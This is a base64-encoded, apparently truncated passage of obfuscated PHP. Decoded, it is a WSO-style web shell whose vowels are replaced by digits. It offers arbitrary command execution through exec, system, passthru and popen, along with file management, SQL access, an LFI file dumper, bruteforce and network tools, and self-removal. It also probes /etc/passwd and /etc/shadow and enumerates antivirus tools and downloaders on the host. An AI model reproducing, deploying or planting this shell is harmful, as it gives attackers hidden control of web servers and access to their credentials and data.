IH0gDQogIA0KICAgICRjaDFyczV0cyA9IDFycjF5KCdVVEYtOCcsICdXNG5kMndzLTZhaTYnLCAnS09JOC1SJywgJ0tPSTgtVScsICdjcDhlZScpOyANCiAgICAkMnB0X2NoMXJzNXRzID0gJyc7IA0KICAgIGYycjUxY2goJGNoMXJzNXRzIDFzICQ0dDVtKSANCiAgICAgICAgJDJwdF9jaDFyczV0cyAuPSAnPDJwdDQybiB2MWwzNT0iJy4kNHQ1bS4nIiAnLigkX1BPU1RbJ2NoMXJzNXQnXT09JDR0NW0/J3M1bDVjdDVkJzonJykuJz4nLiQ0dDVtLic8LzJwdDQybj4nOyANCiAgDQogICAgJG0gPSAxcnIxeSgnUzVjIEluZjInPT4nUzVjSW5mMicsJ0Y0bDVzJz0+J0Y0bDVzTTFuJywnRXg1Yyc9PidDMm5zMmw1JywnU3FsJz0+J1NxbCcsJ1BIUCBUMjJscyc9PidwaHB0MjJscycsJ0xGSSc9PidsZjRzYzFuJywnUGhwJz0+J1BocCcsJ1MxZjUgbTJkNSc9PidTMWY1TTJkNScsJ1N0cjRuZyB0MjJscyc9PidTdHI0bmdUMjJscycsJ1hTUyBTaDVsbCc9PidYU1NTaDVsbCcsJ0JyM3Q1ZjJyYzUnPT4nQnIzdDVmMnJjNScsJ041dHcycmsnPT4nTjV0dzJyaycpOyANCiAgICA0ZighNW1wdHkoJEdMT0JBTFNbJzEzdGhfcDFzcyddKSkgDQogICAgICAgICRtWydMMmcyM3QnXSA9ICdMMmcyM3QnOyANCiAgICAkbVsnUzVsZiByNW0ydjUnXSA9ICdTNWxmUjVtMnY1JzsgDQogICAgJG01bjMgPSAnJzsgDQogICAgZjJyNTFjaCgkbSAxcyAkayA9PiAkdikgDQogICAgICAgICRtNW4zIC49ICc8dGggdzRkdGg9IicuKDRudCkoNjAwL2MyM250KCRtKSkuJyUiPls8MSBocjVmPSIjIiAybmNsNGNrPSJnKFwnJy4kdi4nXCcsbjNsbCxcJ1wnLFwnXCcsXCdcJykiPicuJGsuJzwvMT5dPC90aD4nOyANCiAgDQogICAgJGRyNHY1cyA9ICIiOyANCiAgICA0ZigkR0xPQkFMU1snMnMnXSA9PSAndzRuJykgeyANCiAgICAgICAgZjJyNTFjaChyMW5nNSgnYycsJ3onKSAxcyAkZHI0djUpIA0KICAgICAgICA0Zig0c19kNHIoJGRyNHY1Lic6XFwnKSkgDQogICAgICAgICAgICAkZHI0djVzIC49ICc8MSBocjVmPSIjIiAybmNsNGNrPSJnKFwnRjRsNXNNMW5cJyxcJycuJGRyNHY1Lic6L1wnKSI+WyAnLiRkcjR2NS4nIF08LzE+ICc7IA0KICAgIH0gDQogICAgNWNoMiAnPHQxYmw1IGNsMXNzPTRuZjIgYzVsbHAxZGQ0bmc9byBjNWxsc3AxYzRuZz0wIHc0ZHRoPTYwMCU+PHRyPjx0ZCB3NGR0aD02PjxzcDFuPlVuMW01Ojxicj5VczVyOjxicj5QaHA6PGJyPkhkZDo8YnI+Q3dkOicgLiAoJEdMT0JBTFNbJzJzJ10gPT0gJ3c0bic/Jzxicj5EcjR2NXM6JzonJykgLiAnPC9zcDFuPjwvdGQ+Jw0KICAgICAgIC4gJzx0ZD48bjJicj4nIC4gczNic3RyKEBwaHBfM24xbTUoKSwgMCwgNmEwKSAuICcgPC9uMmJyPjxicj4nIC4gJDM0ZCAuICcgKCAnIC4gJDNzNXIgLiAnICkgPHNwMW4+R3IyM3A6PC9zcDFuPiAnIC4gJGc0ZCAuICcgKCAnIC4gJGdyMjNwIC4gJyApPGJyPicgLiBAcGhwdjVyczQybigpIC4gJyA8c3Axbj5TMWY1IG0yZDU6PC9zcDFuPiAnIC4gKCRHTE9CQUxTWydzMWY1X20yZDUnXT8nPGYybnQgYzJsMnI9cjVkPk9OPC9mMm50Pic6JzxmMm50IGMybDJyPSMwMGJiMDA+PGI+T0ZGPC9iPjwvZjJudD4nKSANCiAgICAgICAuICcgPDEgaHI1Zj0jIDJuY2w0Y2s9ImcoXCdQaHBcJyxuM2xsLFwnXCcsXCc0bmYyXCcpIj5bIHBocDRuZjIgXTwvMT4gPHNwMW4+RDF0NXQ0bTU6PC9zcDFuPiAnIC4gZDF0NSgnWS1tLWQgSDo0OnMnKSAuICc8YnI+JyAuIHdzMlY0NXdTNHo1KCR0MnQxbFNwMWM1KSAuICcgPHNwMW4+RnI1NTo8L3NwMW4+ICcgLiB3czJWNDV3UzR6NSgkZnI1NVNwMWM1KSAuICcgKCcuICg0bnQpICgkZnI1NVNwMWM1LyR0MnQxbFNwMWM1KjYwMCkgLiAnJSk8YnI+JyAuICRjd2RfbDRua3MgLiAnICcuIHdzMlA1cm1zQzJsMnIoJEdMT0JBTFNbJ2N3ZCddKSAuICcgPDEgaHI1Zj0jIDJuY2w0Y2s9ImcoXCdGNGw1c00xblwnLFwnJyAuICRHTE9CQUxTWydoMm01X2N3ZCddIC4gJ1wnLFwnXCcsXCdcJyxcJ1wnKSI+WyBoMm01IF08LzE+PGJyPicgLiAkZHI0djVzIC4gJzwvdGQ+Jw0KICAgICAgIC4gJzx0ZCB3NGR0aD02IDFsNGduPXI0Z2h0PjxuMmJyPjxzNWw1Y3QgMm5jaDFuZzU9ImcobjNsbCxuM2xsLG4zbGwsbjNsbCxuM2xsLHRoNHMudjFsMzUpIj48MnB0Z3IyM3AgbDFiNWw9IlAxZzUgY2gxcnM1dCI+JyAuICQycHRfY2gxcnM1dHMgLiAnPC8ycHRncjIzcD48L3M1bDVjdD48YnI+PHNwMW4+UzVydjVyIElQOjwvc3Axbj48YnI+JyAuIEAkX1NFUlZFUlsiU0VSVkVSX0FERFIiXSAuICc8YnI+PHNwMW4+Q2w0NW50IElQOjwvc3Axbj48YnI+JyAuICRfU0VSVkVSWydSRU1PVEVfQUREUiddIC4gJzwvbjJicj48L3RkPjwvdHI+PC90MWJsNT4nDQogICAgICAgLiAnPHQxYmw1IHN0eWw1PSJiMnJkNXItdDJwOmFweCBzMmw0ZCAjb29vOyIgYzVsbHAxZGQ0bmc9byBjNWxsc3AxYzRuZz0wIHc0ZHRoPTYwMCU+PHRyPicgLiAkbTVuMyAuICc8L3RyPjwvdDFibDU+PGQ0diBzdHlsNT0ibTFyZzRuOmkiPic7IA0KfSANCiAgDQpmM25jdDQybiB3czJGMjJ0NXIoKSB7IA0KICAgICQ0c193cjR0MWJsNSA9IDRzX3dyNHQxYmw1KCRHTE9CQUxTWydjd2QnXSk/IiA8ZjJudCBjMmwycj0nI2FpZmYwMCc+KFdyNHQ1MWJsNSk8L2YybnQ+IjoiIDxmMm50IGMybDJyPXI1ZD4oTjJ0IHdyNHQxYmw1KTwvZjJudD4iOyANCiAgICA1Y2gyICIgDQogIA0KPC9kNHY+IA0KPHQxYmw1IGNsMXNzPTRuZjIgNGQ9dDIybHNUYmwgYzVsbHAxZGQ0bmc9byBjNWxsc3AxYzRuZz0wIHc0ZHRoPTYwMCUgIHN0eWw1PSdiMnJkNXItdDJwOmFweCBzMmw0ZCAjb29vO2IycmQ1ci1iMnR0Mm06YXB4IHMybDRkICNvb287Jz4gDQogICAgPHRyPiANCiAgICAgICAgPHRkPjxmMnJtIDJuczNibTR0PSdnKG4zbGwsdGg0cy5jLnYxbDM1LFwiXCIpO3I1dDNybiBmMWxzNTsnPjxzcDFuPkNoMW5nNSBkNHI6PC9zcDFuPjxicj48NG5wM3QgY2wxc3M9J3QyMmxzSW5wJyB0eXA1PXQ1eHQgbjFtNT1jIHYxbDM1PSciIC4gaHRtbHNwNWM0MWxjaDFycygkR0xPQkFMU1snY3dkJ10pIC4iJz48NG5wM3QgdHlwNT1zM2JtNHQgdjFsMzU9Jz4+Jz48L2Yycm0+PC90ZD4gDQogICAgICAgIDx0ZD48ZjJybSAybnMzYm00dD1cImcoJ0Y0bDVzVDIybHMnLG4zbGwsdGg0cy5mLnYxbDM1KTtyNXQzcm4gZjFsczU7XCI+PHNwMW4+UjUxZCBmNGw1Ojwvc3Axbj48YnI+PDRucDN0IGNsMXNzPSd0MjJsc0lucCcgdHlwNT10NXh0IG4xbTU9Zj48NG5wM3QgdHlwNT1zM2JtNHQgdjFsMzU9Jz4+Jz48L2Yycm0+PC90ZD4gDQogICAgPC90cj48dHI+IA0KICAgICAgICA8dGQ+PGYycm0gMm5zM2JtNHQ9XCJnKCdGNGw1c00xbicsbjNsbCwnbWtkNHInLHRoNHMuZC52MWwzNSk7cjV0M3JuIGYxbHM1O1wiPjxzcDFuPk0xazUgZDRyOjwvc3Axbj4kNHNfd3I0dDFibDU8YnI+PDRucDN0IGNsMXNzPSd0MjJsc0lucCcgdHlwNT10NXh0IG4xbTU9ZD48NG5wM3QgdHlwNT1zM2JtNHQgdjFsMzU9Jz4+Jz48L2Yycm0+PC90ZD4gDQogICAgICAgIDx0ZD48ZjJybSAybnMzYm00dD1cImcoJ0Y0bDVzVDIybHMnLG4zbGwsdGg0cy5mLnYxbDM1LCdta2Y0bDUnKTtyNXQzcm4gZjFsczU7XCI+PHNwMW4+TTFrNSBmNGw1Ojwvc3Axbj4kNHNfd3I0dDFibDU8YnI+PDRucDN0IGNsMXNzPSd0MjJsc0lucCcgdHlwNT10NXh0IG4xbTU9Zj48NG5wM3QgdHlwNT1zM2JtNHQgdjFsMzU9Jz4+Jz48L2Yycm0+PC90ZD4gDQogIA0KICAgIDwvdHI+PHRyPiANCiAgICAgICAgPHRkPjxmMnJtIDJuczNibTR0PVwiZygnQzJuczJsNScsbjNsbCx0aDRzLmMudjFsMzUpO3I1dDNybiBmMWxzNTtcIj48c3Axbj5FeDVjM3Q1Ojwvc3Axbj48YnI+PDRucDN0IGNsMXNzPSd0MjJsc0lucCcgdHlwNT10NXh0IG4xbTU9YyB2MWwzNT0nJz48NG5wM3QgdHlwNT1zM2JtNHQgdjFsMzU9Jz4+Jz48L2Yycm0+PC90ZD4gDQogICAgICAgIDx0ZD48ZjJybSBtNXRoMmQ9J3Ayc3QnIEVOQ1RZUEU9J20zbHQ0cDFydC9mMnJtLWQxdDEnPiANCiAgICAgICAgPDRucDN0IHR5cDU9aDRkZDVuIG4xbTU9MSB2MWwzNT0nRjRsNXNNQW4nPiANCiAgICAgICAgPDRucDN0IHR5cDU9aDRkZDVuIG4xbTU9YyB2MWwzNT0nIiAuICRHTE9CQUxTWydjd2QnXSAuIic+IA0KICAgICAgICA8NG5wM3QgdHlwNT1oNGRkNW4gbjFtNT1wNiB2MWwzNT0nM3BsMjFkRjRsNSc+IA0KICAgICAgICA8NG5wM3QgdHlwNT1oNGRkNW4gbjFtNT1jaDFyczV0IHYxbDM1PSciIC4gKDRzczV0KCRfUE9TVFsnY2gxcnM1dCddKT8kX1BPU1RbJ2NoMXJzNXQnXTonJykgLiAiJz4gDQogICAgICAgIDxzcDFuPlVwbDIxZCBmNGw1Ojwvc3Axbj4kNHNfd3I0dDFibDU8YnI+PDRucDN0IGNsMXNzPSd0MjJsc0lucCcgdHlwNT1mNGw1IG4xbTU9Zj48NG5wM3QgdHlwNT1zM2JtNHQgdjFsMzU9Jz4+Jz48L2Yycm0+PGJyICA+PC90ZD4gDQogIA0KICAgIDwvdHI+PC90MWJsNT48L2Q0dj48L2IyZHk+PC9odG1sPiI7IA0KfSANCiAgDQo0ZiAoIWYzbmN0NDJuXzV4NHN0cygicDJzNHhfZzV0cHczNGQiKSAmJiAoc3RycDJzKCRHTE9CQUxTWydkNHMxYmw1X2YzbmN0NDJucyddLCAncDJzNHhfZzV0cHczNGQnKT09PWYxbHM1KSkgeyANCiAgICBmM25jdDQybiBwMnM0eF9nNXRwdzM0ZCgkcCkge3I1dDNybiBmMWxzNTt9IH0gDQo0ZiAoIWYzbmN0NDJuXzV4NHN0cygicDJzNHhfZzV0Z3JnNGQiKSAmJiAoc3RycDJzKCRHTE9CQUxTWydkNHMxYmw1X2YzbmN0NDJucyddLCAncDJzNHhfZzV0Z3JnNGQnKT09PWYxbHM1KSkgeyANCiAgICBmM25jdDQybiBwMnM0eF9nNXRncmc0ZCgkcCkge3I1dDNybiBmMWxzNTt9IH0gDQogIA0KZjNuY3Q0Mm4gd3MyRXgoJDRuKSB7IA0KICAgICQyM3QgPSAnJzsgDQogICAgNGYgKGYzbmN0NDJuXzV4NHN0cygnNXg1YycpKSB7IA0KICAgICAgICBANXg1YygkNG4sJDIzdCk7IA0KICAgICAgICAkMjN0ID0gQGoyNG4oIlxuIiwkMjN0KTsgDQogICAgfSA1bHM1NGYgKGYzbmN0NDJuXzV4NHN0cygncDFzc3RocjMnKSkgeyANCiAgICAgICAgMmJfc3QxcnQoKTsgDQogICAgICAgIEBwMXNzdGhyMygkNG4pOyANCiAgICAgICAgJDIzdCA9IDJiX2c1dF9jbDUxbigpOyANCiAgICB9IDVsczU0ZiAoZjNuY3Q0Mm5fNXg0c3RzKCdzeXN0NW0nKSkgeyANCiAgICAgICAgMmJfc3QxcnQoKTsgDQogICAgICAgIEBzeXN0NW0oJDRuKTsgDQogICAgICAgICQyM3QgPSAyYl9nNXRfY2w1MW4oKTsgDQogICAgfSA1bHM1NGYgKGYzbmN0NDJuXzV4NHN0cygnc2g1bGxfNXg1YycpKSB7IA0KICAgICAgICAkMjN0ID0gc2g1bGxfNXg1YygkNG4pOyANCiAgICB9IDVsczU0ZiAoNHNfcjVzMjNyYzUoJGYgPSBAcDJwNW4oJDRuLCJyIikpKSB7IA0KICAgICAgICAkMjN0ID0gIiI7IA0KICAgICAgICB3aDRsNSghQGY1MmYoJGYpKSANCiAgICAgICAgICAgICQyM3QgLj0gZnI1MWQoJGYsNjBhdSk7IA0KICAgICAgICBwY2wyczUoJGYpOyANCiAgICB9IA0KICAgIHI1dDNybiAkMjN0OyANCn0gDQpmM25jdDQybiB3czJWNDV3UzR6NSgkcykgeyANCiAgICA0ZigkcyA+PSA2MDdvN3U2OGF1KSANCiAgICAgICAgcjV0M3JuIHNwcjRudGYoJyU2LmFmJywgJHMgLyA2MDdvN3U2OGF1ICkuICcgR0InOyANCiAgICA1bHM1NGYoJHMgPj0gNjB1OGk3ZSkgDQogICAgICAgIHI1dDNybiBzcHI0bnRmKCclNi5hZicsICRzIC8gNjB1OGk3ZSApIC4gJyBNQic7IA0KICAgIDVsczU0ZigkcyA+PSA2MGF1KSANCiAgICAgICAgcjV0M3JuIHNwcjRudGYoJyU2LmFmJywgJHMgLyA2MGF1ICkgLiAnIEtCJzsgDQogICAgNWxzNQ0KICAgICAgICByNXQzcm4gJHMgLiAnIEInOyANCn0gDQogIA0KZjNuY3Q0Mm4gd3MyUDVybXMoJHApIHsgDQogICAgNGYgKCgkcCAmIDB4QzAwMCkgPT0gMHhDMDAwKSQ0ID0gJ3MnOyANCiAgICA1bHM1NGYgKCgkcCAmIDB4QTAwMCkgPT0gMHhBMDAwKSQ0ID0gJ2wnOyANCiAgICA1bHM1NGYgKCgkcCAmIDB4ODAwMCkgPT0gMHg4MDAwKSQ0ID0gJy0nOyANCiAgICA1bHM1NGYgKCgkcCAmIDB4ZTAwMCkgPT0gMHhlMDAwKSQ0ID0gJ2InOyANCiAgICA1bHM1NGYgKCgkcCAmIDB4dTAwMCkgPT0gMHh1MDAwKSQ0ID0gJ2QnOyANCiAgICA1bHM1NGYgKCgkcCAmIDB4YTAwMCkgPT0gMHhhMDAwKSQ0ID0gJ2MnOyANCiAgICA1bHM1NGYgKCgkcCAmIDB4NjAwMCkgPT0gMHg2MDAwKSQ0ID0gJ3AnOyANCiAgICA1bHM1ICQ0ID0gJzMnOyANCiAgICAkNCAuPSAoKCRwICYgMHgwNjAwKSA/ICdyJyA6ICctJyk7IA0KICAgICQ0IC49ICgoJHAgJiAweDAwODApID8gJ3cnIDogJy0nKTsgDQogICAgJDQgLj0gKCgkcCAmIDB4MDB1MCkgPyAoKCRwICYgMHgwODAwKSA/ICdzJyA6ICd4JyApIDogKCgkcCAmIDB4MDgwMCkgPyAnUycgOiAnLScpKTsgDQogICAgJDQgLj0gKCgkcCAmIDB4MDBhMCkgPyAncicgOiAnLScpOyANCiAgICAkNCAuPSAoKCRwICYgMHgwMDYwKSA/ICd3JyA6ICctJyk7IA0KICAgICQ0IC49ICgoJHAgJiAweDAwMDgpID8gKCgkcCAmIDB4MHUwMCkgPyAncycgOiAneCcgKSA6ICgoJHAgJiAweDB1MDApID8gJ1MnIDogJy0nKSk7IA0KICAgICQ0IC49ICgoJHAgJiAweDAwMHUpID8gJ3InIDogJy0nKTsgDQogICAgJDQgLj0gKCgkcCAmIDB4MDAwYSkgPyAndycgOiAnLScpOyANCiAgICAkNCAuPSAoKCRwICYgMHgwMDA2KSA/ICgoJHAgJiAweDBhMDApID8gJ3QnIDogJ3gnICkgOiAoKCRwICYgMHgwYTAwKSA/ICdUJyA6ICctJykpOyANCiAgICByNXQzcm4gJDQ7IA0KfSANCiAgDQpmM25jdDQybiB3czJQNXJtc0MybDJyKCRmKSB7IA0KICAgIDRmICghQDRzX3I1MWQxYmw1KCRmKSkgDQogICAgICAgIHI1dDNybiAnPGYybnQgYzJsMnI9I0ZGMDAwMD4nIC4gd3MyUDVybXMoQGY0bDVwNXJtcygkZikpIC4gJzwvZjJudD4nOyANCiAgICA1bHM1NGYgKCFANHNfd3I0dDFibDUoJGYpKSANCiAgICAgICAgcjV0M3JuICc8ZjJudCBjMmwycj13aDR0NT4nIC4gd3MyUDVybXMoQGY0bDVwNXJtcygkZikpIC4gJzwvZjJudD4nOyANCiAgICA1bHM1DQogICAgICAgIHI1dDNybiAnPGYybnQgYzJsMnI9IzAwQkIwMD4nIC4gd3MyUDVybXMoQGY0bDVwNXJtcygkZikpIC4gJzwvZjJudD4nOyANCn0gDQogIA0KNGYoIWYzbmN0NDJuXzV4NHN0cygic2MxbmQ0ciIpKSB7IA0KICAgIGYzbmN0NDJuIHNjMW5kNHIoJGQ0cikgeyANCiAgICAgICAgJGRoICA9IDJwNW5kNHIoJGQ0cik7IA0KICAgICAgICB3aDRsNSAoZjFsczUgIT09ICgkZjRsNW4xbTUgPSByNTFkZDRyKCRkaCkpKSANCiAgICAgICAgICAgICRmNGw1c1tdID0gJGY0bDVuMW01OyANCiAgICAgICAgcjV0M3JuICRmNGw1czsgDQogICAgfSANCn0gDQogIA0KZjNuY3Q0Mm4gd3MyV2g0Y2goJHApIHsgDQogICAgJHAxdGggPSB3czJFeCgnd2g0Y2ggJyAuICRwKTsgDQogICAgNGYoITVtcHR5KCRwMXRoKSkgDQogICAgICAgIHI1dDNybiAkcDF0aDsgDQogICAgcjV0M3JuIGYxbHM1OyANCn0gDQogIA0KZjNuY3Q0Mm4gMWN0NDJuUzVjSW5mMigpIHsgDQogICAgd3MySDUxZDVyKCk7IA0KICAgIDVjaDIgJzxoNj5TNXJ2NXIgczVjM3I0dHkgNG5mMnJtMXQ0Mm48L2g2PjxkNHYgY2wxc3M9YzJudDVudD4nOyANCiAgICBmM25jdDQybiB3czJTNWNQMXIxbSgkbiwgJHYpIHsgDQogICAgICAgICR2ID0gdHI0bSgkdik7IA0KICAgICAgICA0ZigkdikgeyANCiAgICAgICAgICAgIDVjaDIgJzxzcDFuPicgLiAkbiAuICc6IDwvc3Axbj4nOyANCiAgICAgICAgICAgIDRmKHN0cnAycygkdiwgIlxuIikgPT09IGYxbHM1KSANCiAgICAgICAgICAgICAgICA1Y2gyICR2IC4gJzxicj4nOyANCiAgICAgICAgICAgIDVsczUNCiAgICAgICAgICAgICAgICA1Y2gyICc8cHI1IGNsMXNzPW1sNj4nIC4gJHYgLiAnPC9wcjU+JzsgDQogICAgICAgIH0gDQogICAgfSANCiAgDQogICAgd3MyUzVjUDFyMW0oJ1M1cnY1ciBzMmZ0dzFyNScsIEBnNXQ1bnYoJ1NFUlZFUl9TT0ZUV0FSRScpKTsgDQogICAgNGYoZjNuY3Q0Mm5fNXg0c3RzKCcxcDFjaDVfZzV0X20yZDNsNXMnKSkgDQogICAgICAgIHdzMlM1Y1AxcjFtKCdMMjFkNWQgQXAxY2g1IG0yZDNsNXMnLCA0bXBsMmQ1KCcsICcsIDFwMWNoNV9nNXRfbTJkM2w1cygpKSk7IA0KICAgIHdzMlM1Y1AxcjFtKCdENHMxYmw1ZCBQSFAgRjNuY3Q0Mm5zJywgJEdMT0JBTFNbJ2Q0czFibDVfZjNuY3Q0Mm5zJ10/JEdMT0JBTFNbJ2Q0czFibDVfZjNuY3Q0Mm5zJ106J24ybjUnKTsgDQogICAgd3MyUzVjUDFyMW0oJ09wNW4gYjFzNSBkNHInLCBANG40X2c1dCgnMnA1bl9iMXM1ZDRyJykpOyANCiAgICB3czJTNWNQMXIxbSgnUzFmNSBtMmQ1IDV4NWMgZDRyJywgQDRuNF9nNXQoJ3MxZjVfbTJkNV81eDVjX2Q0cicpKTsgDQogICAgd3MyUzVjUDFyMW0oJ1MxZjUgbTJkNSA0bmNsM2Q1IGQ0cicsIEA0bjRfZzV0KCdzMWY1X20yZDVfNG5jbDNkNV9kNHInKSk7IA0KICAgIHdzMlM1Y1AxcjFtKCdjVVJMIHMzcHAycnQnLCBmM25jdDQybl81eDRzdHMoJ2MzcmxfdjVyczQybicpPyc1bjFibDVkJzonbjInKTsgDQogICAgJHQ1bXA9MXJyMXkoKTsgDQogICAgNGYoZjNuY3Q0Mm5fNXg0c3RzKCdteXNxbF9nNXRfY2w0NW50XzRuZjInKSkgDQogICAgICAgICR0NW1wW10gPSAiTXlTcWwgKCIubXlzcWxfZzV0X2NsNDVudF80bmYyKCkuIikiOyANCiAgICA0ZihmM25jdDQybl81eDRzdHMoJ21zc3FsX2Mybm41Y3QnKSkgDQogICAgICAgICR0NW1wW10gPSAiTVNTUUwiOyANCiAgICA0ZihmM25jdDQybl81eDRzdHMoJ3BnX2Mybm41Y3QnKSkgDQogICAgICAgICR0NW1wW10gPSAiUDJzdGdyNVNRTCI7IA0KICAgIDRmKGYzbmN0NDJuXzV4NHN0cygnMmM0X2Mybm41Y3QnKSkgDQogICAgICAgICR0NW1wW10gPSAiT3IxY2w1IjsgDQogICAgd3MyUzVjUDFyMW0oJ1MzcHAycnQ1ZCBkMXQxYjFzNXMnLCA0bXBsMmQ1KCcsICcsICR0NW1wKSk7IA0KICAgIDVjaDIgJzxicj4nOyANCiAgDQogICAgNGYoJEdMT0JBTFNbJzJzJ10gPT0gJ240eCcpIHsgDQogICAgICAgIHdzMlM1Y1AxcjFtKCdSNTFkMWJsNSAvNXRjL3Axc3N3ZCcsIEA0c19yNTFkMWJsNSgnLzV0Yy9wMXNzd2QnKT8ieTVzIDwxIGhyNWY9JyMnIDJuY2w0Y2s9J2coXCJGNGw1c1QyMmxzXCIsIFwiLzV0Yy9cIiwgXCJwMXNzd2RcIiknPlt2NDV3XTwvMT4iOiduMicpOyANCiAgICAgICAgd3MyUzVjUDFyMW0oJ1I1MWQxYmw1IC81dGMvc2gxZDJ3JywgQDRzX3I1MWQxYmw1KCcvNXRjL3NoMWQydycpPyJ5NXMgPDEgaHI1Zj0nIycgMm5jbDRjaz0nZyhcIkY0bDVzVDIybHNcIiwgXCI1dGNcIiwgXCJzaDFkMndcIiknPlt2NDV3XTwvMT4iOiduMicpOyANCiAgICAgICAgd3MyUzVjUDFyMW0oJ09TIHY1cnM0Mm4nLCBAZjRsNV9nNXRfYzJudDVudHMoJy9wcjJjL3Y1cnM0Mm4nKSk7IA0KICAgICAgICB3czJTNWNQMXIxbSgnRDRzdHIgbjFtNScsIEBmNGw1X2c1dF9jMm50NW50cygnLzV0Yy80c3MzNS5uNXQnKSk7IA0KICAgICAgICA0ZighJEdMT0JBTFNbJ3MxZjVfbTJkNSddKSB7IA0KICAgICAgICAgICAgJDNzNXJmM2wgPSAxcnIxeSgnZ2NjJywnbGNjJywnY2MnLCdsZCcsJ20xazUnLCdwaHAnLCdwNXJsJywncHl0aDJuJywncjNieScsJ3QxcicsJ2d6NHAnLCdiejRwJywnYno0cGEnLCduYycsJ2wyYzF0NScsJ3MzNGRwNXJsJyk7IA0KICAgICAgICAgICAgJGQxbmc1ciA9IDFycjF5KCdrMXYnLCduMmRvYScsJ2JkYzJyNWQnLCczdnNjMW4nLCdzMXYnLCdkcnc1YmQnLCdjbDFtZCcsJ3JraDNudDVyJywnY2hrcjIydGs0dCcsJzRwdDFibDVzJywnNHBmdycsJ3RyNHB3NHI1Jywnc2g0NWxkY2MnLCdwMnJ0czVudHJ5Jywnc24ycnQnLCcyc3M1YycsJ2w0ZHMxZG0nLCd0Y3BsMmRnJywnc3g0ZCcsJ2wyZ2NoNWNrJywnbDJndzF0Y2gnLCdzeXNtMXNrJywnem1ic2MxcCcsJ3Mxd200bGwnLCd3MnJtc2MxbicsJ240bmoxJyk7IA0KICAgICAgICAgICAgJGQyd25sMjFkNXJzID0gMXJyMXkoJ3dnNXQnLCdmNXRjaCcsJ2x5bngnLCdsNG5rcycsJ2MzcmwnLCdnNXQnLCdsd3AtbTRycjJyJyk7IA0KICAgICAgICAgICAgNWNoMiAnPGJyPic7IA0KICAgICAgICAgICAgJHQ1bXA9MXJyMXkoKTsgDQogICAgICAgICAgICBmMnI1MWNoICgkM3M1cmYzbCAxcyAkNHQ1bSkgDQogICAgICAgICAgICAgICAgNGYod3MyV2g0Y2goJDR0NW0pKSANCiAgICAgICAgICAgICAgICAgICAgJHQ1bXBbXSA9ICQ0dDVtOyANCiAgICAgICAgICAgIHdzMlM1Y1AxcjFtKCdVczVyZjNsJywgNG1wbDJkNSgnLCAnLCR0NW1wKSk7IA0KICAgICAgICAgICAgJHQ1bXA9MXJyMXkoKTsgDQogICAgICAgICAgICBmMnI1MWNoICgkZDFuZzVyIDFzICQ0dDVtKSANCiAgICAgICAgICAgICAgICA0Zih3czJXaDRjaCgkNHQ1bSkpIA0KICAgICAgICAgICAgICAgICAgICAkdDVtcFtdID0gJDR0NW07IA0KICAgICAgICAgICAgd3MyUzVjUDFyMW0oJ0Qxbmc1cicsIDRtcGwyZDUoJywgJywkdDVtcCkpOyANCiAgICAgICAgICAgICR0NW1wPTFycjF5KCk7IA0KICAgICAgICAgICAgZjJyNTFjaCAoJGQyd25sMjFkNXJzIDFzICQ0dDVtKSANCiAgICAgICAgICAgICAgICA0Zih3czJXaDRjaCgkNHQ1bSkpIA0KICAgICAgICAgICAgICAgICAgICAkdDVtcFtdID0gJDR0NW07IA0KICAgICAgICAgICAgd3MyUzVjUDFyMW0oJ0Qyd25sMjFkNXJzJywgNG1wbDJkNSgnLCAnLCR0NW1wKSk7IA0KICAgICAgICAgICAgNWNoMiAnPGJyLz4nOyANCiAgICAgICAgICAgIHdzMlM1Y1AxcjFtKCdIREQgc3AxYzUnLCB3czJFeCgnZGYgLWgnKSk7IA0KICAgICAgICAgICAgd3MyUzVjUDFyMW0oJ0gyc3RzJywgQGY0bDVfZzV0X2MybnQ1bnRzKCcvNXRjL2gyc3RzJykpOyANCiAgICAgICAgfSANCiAgICB9IDVsczUgeyANCiAgICAgICAgd3MyUzVjUDFyMW0oJ09TIFY1cnM0Mm4nLHdzMkV4KCd2NXInKSk7IA0KICAgICAgICB3czJTNWNQMXIxbSgnQWNjMjNudCBTNXR0NG5ncycsd3MyRXgoJ241dCAxY2MyM250cycpKTsgDQogICAgICAgIHdzMlM1Y1AxcjFtKCdVczVyIEFjYzIzbnRzJyx3czJFeCgnbjV0IDNzNXInKSk7IA0KICAgIH0gDQogICAgNWNoMiAnPC9kNHY+JzsgDQogICAgd3MyRjIydDVyKCk7IA0KfSANCmYzbmN0NDJuIDFjdDQybmxmNHNjMW4oKSB7IA0KICAgIHdzMkg1MWQ1cigpOyANCiAgICBwcjRudCAnIA0KICAgPGhvPkw1ZC1aNXBwNWw0blwncyBMRkkgRjRsNSBkM21wNXI8L2hvPiANCiAgDQogICA8ZjJybSBtNXRoMmQ9InAyc3QiIDFjdDQybj0iPyI+PDRucDN0IHR5cDU9Img0ZGQ1biIgbjFtNT0iMSIgdjFsMzU9ImxmNHNjMW4iPiANCiAgICAgIExGSSBVUkw6IDw0bnAzdCB0eXA1PSJ0NXh0IiBzNHo1PSJlMCIgbjFtNT0ibGY0M3JsIiB2MWwzNT0iIj4gPDRucDN0IHR5cDU9InMzYm00dCIgdjFsMzU9IkcyIj4gRjRsNTogPHM1bDVjdCBuMW01PSJzYzFudHlwNSI+IA0KICAgICAgICAgPDJwdDQybiB2MWwzNT0iNiI+IA0KICAgICAgICAgICAgQWNjNXNzIEwyZyANCiAgICAgICAgIDwvMnB0NDJuPiANCiAgDQogICAgICAgICA8MnB0NDJuIHYxbDM1PSJhIj4gDQogICAgICAgICAgICBodHRwZC5jMm5mIA0KICAgICAgICAgPC8ycHQ0Mm4+IA0KICANCiAgICAgICAgIDwycHQ0Mm4gdjFsMzU9Im8iPiANCiAgICAgICAgICAgIEVycjJyIEwyZyANCiAgICAgICAgIDwvMnB0NDJuPiANCiAgICAgICAgIDwycHQ0Mm4gdjFsMzU9InUiPiANCiAgICAgICAgICAgIHBocC40bjQgDQogICAgICAgICA8LzJwdDQybj4gDQogICAgICAgICA8MnB0NDJuIHYxbDM1PSJpIj4gDQogICAgICAgICAgICBNeVNRTCANCiAgICAgICAgIDwvMnB0NDJuPiANCiAgICAgICAgIDwycHQ0Mm4gdjFsMzU9ImUiPiANCiAgICAgICAgICAgIEZUUCANCiAgICAgICAgIDwvMnB0NDJuPiANCiAgICAgICAgIDwycHQ0Mm4gdjFsMzU9IjciPiANCiAgICAgICAgICAgIEVudjRyMm4gDQogICAgICAgICA8LzJwdDQybj4gDQogICAgICA8L3M1bDVjdD4gTjNsbDogPHM1bDVjdCBuMW01PSJuM2xsIj4gDQogICAgICAgICA8MnB0NDJuIHYxbDM1PSIlMDAiPiANCiAgICAgICAgICAgIFk1cyANCiAgICAgICAgIDwvMnB0NDJuPiANCiAgDQogI